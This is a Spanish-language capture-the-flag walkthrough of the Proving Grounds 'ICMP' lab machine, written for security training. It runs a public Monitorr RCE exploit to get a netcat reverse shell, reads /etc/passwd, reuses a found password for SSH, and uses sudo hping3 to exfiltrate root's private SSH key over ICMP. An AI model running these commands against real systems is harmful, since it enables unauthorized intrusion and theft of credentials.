> For the complete documentation index, see [llms.txt](https://wiki.securiters.com/securiters-wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wiki.securiters.com/securiters-wiki/write-ups/proving-grounds/icmp.md).

# ICMP

<figure><img src="/files/jbFDBlK3uGilhBPFaWDT" alt=""><figcaption></figcaption></figure>

### Enumeración

#### Servicios abiertos

Comenzamos a resolver este CTF enumerando los servicios que tiene abiertos.

```
nmap -p- --open --min-rate 500 -Pn -n -vvv 192.168.214.218
```

<figure><img src="/files/GfmHYiSvqZfb7xkXG7kD" alt=""><figcaption></figcaption></figure>

La máquina tiene abiertos los puertos 22 y 80. El siguiente paso será la enumeración profunda de los puertos abiertos.

```
nmap -p22,80 -Pn -n -sVC -vvv 192.168.214.218
```

<figure><img src="/files/z0nXKXvaw1eHx3t3qOzF" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/LjYpeoEuQtvGj4COWCmi" alt=""><figcaption></figcaption></figure>

Servicios abiertos:

* Puerto 22 -> SSH -> OpenSSH 7.9
* Puerto 80 -> HTTP -> Apache httpd 2.4.38

#### Enumeración Web

La máquina ICMP está ejecutando un servidor Web en el puerto 80. Veamos su contenido.&#x20;

<figure><img src="/files/9V2Jg8m8Sa5Wq9PFJqxh" alt=""><figcaption></figcaption></figure>

Tenemos una versión "Monitorr 1.7.6m"

Vamos a enumerar archivos y directorios presentes en el sitio Web.

<pre><code><strong>feroxbuster -u http://192.168.214.218 -s200,301 -x html,txt,php -n
</strong></code></pre>

<figure><img src="/files/VvfgXp8BayvH2Pjw0LmC" alt=""><figcaption></figcaption></figure>

Solo encontramos el directorio donde nos encontramos cuando accedemos al sitio Web.

### Explotación

En la enumeración del sitio Web encontramos una versión de CMS, vamos a tratar de encontrar vulnerabilidades para esa versión.&#x20;

<figure><img src="/files/76cVefSNX4PSdjLlvdxV" alt=""><figcaption></figcaption></figure>

Existe una vulnerabilidad de RCE sin autenticación para esa versión de CMS. Vamos a descargar ese exploit desarrollado en Python.&#x20;

<figure><img src="/files/geiVZ1sst7yAuiAACPvm" alt=""><figcaption></figcaption></figure>

Para realizar la explotación necesitaremos la URL del sitio que queremos vulnerar, nuestra dirección IP y puerto local de escucha. También debemos poner a la escucha un oyente nc en el mismo puerto local indicado en la ejecución del exploit.&#x20;

```
python2 48980.py http://192.168.214.218/mon/ 192.168.45.5 1234
nc -lnvp 1234
```

<figure><img src="/files/cl6okYuAEwMlwFjC2ePS" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/1IPdJMqskffNznz65zZD" alt=""><figcaption></figcaption></figure>

Tenemos acceso a la máquina objetivo con bajos privilegios. El siguiente paso será buscar la flag local.txt

<figure><img src="/files/dpRAFS7520JzKzqUyNrZ" alt=""><figcaption></figcaption></figure>

### Pivontando de www-data a fox

Después de que conseguimos el punto de apoyo en el sistema, verificamos a los usuarios del mismo.

```
grep sh /etc/passwd
```

<figure><img src="/files/0iA6zxbfbEuwcSVhcbDs" alt=""><figcaption></figcaption></figure>

Vamos a enumerar el contenido del directorio del usuario /fox.

<figure><img src="/files/s7X7GCbYg2b8z7tiIK7T" alt=""><figcaption></figcaption></figure>

Interesante en la enumeración. Vemos un directorio /devel para el que no tenemos permiso apra acceder y un archivo reminder. Veamos el contenido del archivo.

<figure><img src="/files/hEjTdWtGAky64K6CPc5w" alt=""><figcaption></figcaption></figure>

El archivo "reminder" indica que la encriptación se lleva a cabo mediante un archivo denominado crypt.php. Además, se dispone de un directorio de desarrollo con permisos de ejecución para otros usuarios, pero sin permisos de lectura/escritura. En consecuencia, se podría inferir que el archivo crypt.php podría encontrarse dentro de dicho directorio. Vamos a comprobarlo.

<figure><img src="/files/sG3fvyKrGf4pfrERF9B3" alt=""><figcaption></figcaption></figure>

Puede la contraseña de algún servicio. Recordamos que este CTF ejecuta un servicio SSH en el puerto 22 y que tenemos un nombre de usuario, fox. Veamos si podemos conectarnos con el usuario fox a través de SSH.

<figure><img src="/files/3tzF7N3CGfXOC3LcAnwu" alt=""><figcaption></figcaption></figure>

Era la contraseña del usuario "fox" para el servicio SSH.&#x20;

### Elevación de privilegios

Una vez tenemos acceso a la máquina como usuario "fox", vamos a enumerar  las diferentes formas de poder elevar privilegios. Comenzamos con `sudo -l`.

<figure><img src="/files/Go3wdfjcMQO4LtHr5qHz" alt=""><figcaption></figcaption></figure>

Se permite ejecutar un comando con permisos de root, pero debido a que estamos en modo ICMP, no podemos acceder a un shell. Sin embargo, aún podemos transferir archivos a otra máquina. Consideramos enviar el archivo shadow o una clave privada SSH como posibles opciones.&#x20;

Para lograrlo, es necesario activar el modo de escucha de hping3 en la máquina receptora y enviar el archivo desde la máquina de origen hacia la receptora. Esto vamos a hacerlo con dos instancias SSH diferentes de la misma máquina de destino.

```
Terminal 1: sudo hping3 --icmp 127.0.0.1 --listen signature --safe
Terminal 2: sudo hping3 --icmp 127.0.0.1 --sign signature --file /root/.ssh/id_rsa -d 4000 -c 2
```

<figure><img src="/files/B7GrxbfrbrKCyTaNtwoR" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/qWY5cHy6U9RreDQVSbbt" alt=""><figcaption></figcaption></figure>

Obtenemos una clave privada. Vamos a copiarla a nuestra máquina de ataque. A esta clave le damos permisos `chmod 600.` Vamos a tratar de conectarnos a la máquina objetivo como usuario root a través del servicio SSH aprovechando la clave id\_rsa que hemos encontrado.

```
ssh root@192.168.214.218 -i id_rsa
```

<figure><img src="/files/JJ8KZUiuguXHvLaU6qUJ" alt=""><figcaption></figcaption></figure>

Obtenemos acceso a la máquina objetivo como usuario "root". El último paso para completar la máquna será conseguir la flag proof.txt.

<figure><img src="/files/I2S4Kr3pqVzT2MfmLnNH" alt=""><figcaption></figcaption></figure>

Y ya estaría completa la máquina ICMP de la plataforma Proving Grounds.

{% embed url="<https://www.youtube.com/watch?v=-hMk_WGu2sY>" %}
